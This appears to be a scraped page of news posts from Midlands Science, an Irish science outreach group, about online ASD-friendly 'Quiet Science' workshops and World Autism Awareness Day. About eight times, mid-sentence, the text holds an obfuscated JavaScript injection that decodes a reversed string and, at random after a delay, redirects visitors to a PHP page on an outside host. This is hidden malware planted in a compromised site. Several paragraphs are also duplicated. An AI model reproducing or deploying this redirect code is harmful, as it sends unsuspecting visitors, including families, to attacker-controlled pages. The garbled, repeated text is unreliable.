Creating a Quiet space for Science

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Quiet Science is a project that is currently being delivered by local development company, Midlands Science which has worked over the past year to provide various workshops with ASD appropriate science outreach in response to requests and research. This project is funded by Science Foundation Ireland’s Discover Awards programme and it began with two pilot schools in Co. Offaly. It is now being rolled online across the midlands through appropriate partnerships.

Dr Ruth Freeman, Direc tor of Science for Society, Science Foundation Ireland commented:

“Adapting to the ongoing challenges of the pandemic, Midlands Science has moved online for its delivery of ‘Quiet Science’ events for children on the ASD spectrum, both through remote delivery to pilot schools and now through online events for wider audiences. Science Foundation Ireland is delighted to continue to support this important work, which exemplifies best practice in inclusive outreach, and to collaborate with the team at Midlands Science to ensure all students have the opportunity to engage with science.”

CEO of Midlands Science, Jackie Gorman commented,

‘Quiet Science, which focuses on science activities for children on the ASD spectrum is a project we embarked on last year. It allows pupils to participate in hands-on, engaging science lessons with resources and instruction provided. We are delighted that despite the current pandemic and school closures, we are still able to offer these activities online with our ever professional providers, ‘Anyone 4 Science’ and we have had an amazing response from parents and children alike.’

Before this programme was delivered, a suite of outreach activities was co-created with students and STEM providers in consultation with appropriate ASD education experts. The project will also produce a manual of best practice which will be circulated following evaluation of the project.

Jackie Gorman continued,

‘Lock $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downs are challenging for all of us, and we are glad we have been able to continue to provide outreach. The students particularly seem to like the fact that special kits are delivered to their homes in advance of the workshops. We also saw great engagement with our Facebook Live events, which were also provided by the team at Anyone 4 Science during the summer of 2020 and we were so proud of our Midlands pupils for continuing to celebrate science in these extraordinary times. ‘

The ‘Quiet Science’ workshops are taking place online every Saturday until March 13th with further activities planned from April to June.  These workshops are also delivered in partnership with Anyone 4 Science based on work $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done in 2020 with partner schools in our Quiet Science project and this is funded by Science Foundation Ireland through the Discover Awards progamme.

 

 

Bringing Science Home for Everyone

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The team at Midlands Science has been working over the past ten months to continue to share our passion for science and promote the importance of science education during these challenging pandemic times. So much of our work relies on face- to-face interaction and usually we meet people in person and spread messages about science at events, in schools and our annual science, maths and engineering festivals. We have worked with our professional providers and science communication experts and we have adapted and found new ways to share our work throughout the Midlands and beyond, during the Coronavirus pandemic.

CEO of Midlands Science Jackie Gorman said,

‘Science in Your Sitting Room’ is the latest series of workshops which we are now delivering in partnership with Anyone4Science every Friday at 12:00pm. With schools closed once again and students unable to experience our events in their classrooms, we had to rethink how we reach young people and their families in the most fun and interactive way. We saw great engagement with our Facebook Live events, which were also provided by the team at Anyone 4 Science during the summer of 2020 and we were so proud of our Midlands pupils for continuing to celebrate science in these extraordinary times.’

Midlands Science is also pleased to be running eight weeks of ‘Quiet Science’ workshops for pupils who are on the ASD spectrum and these are taking place online every Saturday until March 13th These workshops are also delivered in partnership with Anyone 4 Science based on work $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done in 2020 with partner schools in our Quiet Science project.

‘Jackie Gorman continued,

‘At Midlands Science, we want to offer free and practical resources and support to all students, teachers and parents in navigating this new learning landscape. We are looking forward to exploring topics such as mould, bacteria, stress balls and toothpaste! We have been providing these particular online  events to schools in the Midlands region since March of 2020 and are delighted to now to be able to extend them out in to the wider community.’

 

Wear Blue at Home for World Autism Awareness Day

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Today is World Autism Awareness Day and to celebrate, Midlands Science is delighted to remind everyone of a series of workshops they will be providing in the near future for people with ASD, their parents and siblings. This is the thirteenth annual World Autism Awareness Day and it is usually a day when the international community, hundreds of thousands of landmarks, buildings, homes and communities around the world come together to Light It Up Blue in recognition of people with autism and those who love and support them. We have had to press pause on our own planned ASD workshops for now but we are looking forward to hopefully rolling more of them out across the Midlands when things eventually settle $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with the current pandemic. The aim of these workshops is to provide science learning in a supportive workshop environment. These events are a great opportunity to explore the fun of science and to practice focusing and concentration, social cognition, collaboration and teamwork, listening, comprehension skills and more. For these activities, Midlands Science has partnered with Anyone 4 Science;  an experienced team of science outreach educa tors who have expertise in working with children on the ASD spectrum.

 

Christine Campbell of Anyone for Science commented,

‘I have been working with Midlands Science for a number of years now during Science Week to deliver a range of interactive and fun workshops for pupils across the Midlands region. I am delighted that now, I am able to provide some very unique workshops which have been designed for young people on the ASD spectrum. Innovative partnerships between organisations such as Anyone for Science and Midlands Science are really important because they help us to continue the critical conversation about autism and inclusion and ensuring that all children have the opportunities to have new and exciting experiences.’

Jackie Gorman, Midlands Science CEO said,

‘We not only want to provide fun and engaging activities within classrooms and other settings such as libraries, theatres and even out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors, we also want to bring together the people who can help move our knowledge forward to make improvements and provide support and educational events for others who may not always be able to avail of such opportunities. Over the past number of years, we have received valuable feedback from people with autism and their families about their challenges and we want to help provide meaningful events that align with their individual strengths and interests too. This year is different due to the fact that we are all at home, so maybe instead of Lighting it up Blue, you could wear blue instead to celebrate World Autism Awareness Day. Science tells us that blue is a calming colour so this could be the perfect day for us all to wear it.’

in the near future for people with ASD, their parents and siblings. This is the thirteenth annual World Autism Awareness Day and it is usually a day when the international community, hundreds of thousands of landmarks, buildings, homes and communities around the world come together to Light It Up Blue in recognition of people with autism and those who love and support them. We have had to press pause on our own planned ASD workshops for now but we are looking forward to hopefully rolling more of them out across the Midlands when things eventually settle $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with the current pandemic. The aim of these workshops is to provide science learning in a supportive workshop environment. These events are a great opportunity to explore the fun of science and to practice focusing and concentration, social cognition, collaboration and teamwork, listening, comprehension skills and more. For these activities, Midlands Science has partnered with Anyone 4 Science;  an experienced team of science outreach educa tors who have expertise in working with children on the ASD spectrum.

 

Christine Campbell of Anyone for Science commented,

‘I have been working with Midlands Science for a number of years now during Science Week to deliver a range of interactive and fun workshops for pupils across the Midlands region. I am delighted that now, I am able to provide some very unique workshops which have been designed for young people on the ASD spectrum. Innovative partnerships between organisations such as Anyone for Science and Midlands Science are really important because they help us to continue the critical conversation about autism and inclusion and ensuring that all children have the opportunities to have new and exciting experiences.’

 

Jackie Gorman, Midlands Science CEO said,

 

‘We not only want to provide fun and engaging activities within classrooms and other settings such as libraries, theatres and even out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors, we also want to bring together the people who can help move our knowledge forward to make improvements and provide support and educational events for others who may not always be able to avail of such opportunities. Over the past number of years, we have received valuable feedback from people with autism and their families about their challenges and we want to help provide meaningful events that align with their individual strengths and interests too. This year is different due to the fact that we are all at home, so maybe instead of Lighting it up Blue, you could wear blue instead to celebrate World Autism Awareness Day. Science tells us that blue is a calming colour so this could be the perfect day for us all to wear it.’

 

Free ASD Science Workshops for Offaly

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Christie Campbell with Chloe and Alannah Dooner age 4 and 8 from Ardagh
Pho to by Shelley Corcoran

Local development company, Midlands Science is delighted to announced a series of workshops which will take place in Birr library this November 15th as part of the annual Science Week celebrations. The workshops are suitable for age seven and up and will give the children with ASD, their parents and siblings a practical and enjoyable experience of science in a supportive workshop environment. This event is a great opportunity to learn about the fun and of science and to practice focusing and concentration, social cognition, collaboration and teamwork, listening, comprehension skills and more. Anyone 4 Science are an experienced team of science outreach educa tors who have expertise in working with children on the ASD spectrum. Each workshop takes 45 minutes approximately and can be booked online now.

Jackie Gorman, Midlands Science CEO said,

‘Join us for a series of specially curated workshops with Anyone 4 Science for children on the ASD spectrum during this year’s Midlands Science Festival. We not only want to provide fun and engaging activities within classrooms and other settings such as libraries, theatres and even out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors, we also want to bring together the people who can help move our knowledge forward to make improvements and provide support and education events for others who may not always be able to avail of such opportunities. Over the past number of years, we have received valuable feedback from people with autism and their families about their challenges and we want to help provide meaningful events that align with their individual strengths and interests too. Check our events page on www.midlandsscience.ie for details and booking as there are still some places remaining.’

Christine Campbell of Anyone 4 Science commented,

‘I have been working with Midlands Science for a number of years now during Science Week to deliver a range of interactive and fun workshops for pupils across the Midlands region. I am delighted that this year for the first time, I am able to provide some very unique workshops which have been designed for young people on the ASD spectrum. Innovative partnerships between organisations such as Anyone for Science and Midlands Science are really important because they help us to continue the critical conversation about autism and inclusion and ensuring that all children have the opportunities to have new and exciting experiences.’

 

 

 

 

Gillian Maunsell,

Communications Manager,

Midlands Science,

2nd Floor,

Block 6,

Central Business Park,

Clonminch,

Tullamore,

Co. Offaly,

R35 Y6YO.

 

www.midlandsscience.ie